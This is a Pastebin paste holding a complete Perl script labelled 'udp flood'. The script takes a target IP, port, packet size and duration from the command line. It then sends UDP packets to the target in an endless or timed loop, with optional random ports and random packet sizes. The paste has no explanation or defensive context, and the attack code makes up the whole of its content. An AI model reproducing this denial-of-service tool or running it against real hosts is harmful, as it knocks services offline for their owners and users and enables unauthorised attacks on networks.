Advertisement
Guest User

Untitled

a guest
Aug 27th, 2015
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ##############
  3. # udp flood.
  4. ##############
  5.  
  6. use Socket;
  7. use strict;
  8.  
  9. if ($#ARGV != 3) {
  10. print "flood.pl <ip> <port> <size> <time>\n\n";
  11. print " port=0: use random ports\n";
  12. print " size=0: use random size between 64 and 1024\n";
  13. print " time=0: continuous flood\n";
  14. exit(1);
  15. }
  16.  
  17. my ($ip,$port,$size,$time) = @ARGV;
  18.  
  19. my ($iaddr,$endtime,$psize,$pport);
  20.  
  21. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  22. $endtime = time() + ($time ? $time : 1000000);
  23.  
  24. socket(flood, PF_INET, SOCK_DGRAM, 17);
  25.  
  26.  
  27. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  28. ($size ? "$size-byte" : "random size") . " packets" .
  29. ($time ? " for $time seconds" : "") . "\n";
  30. print "Break with Ctrl-C\n" unless $time;
  31.  
  32. for (;time() <= $endtime;) {
  33. $psize = $size ? $size : int(rand(1024-64)+64) ;
  34. $pport = $port ? $port : int(rand(65500))+1;
  35.  
  36. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement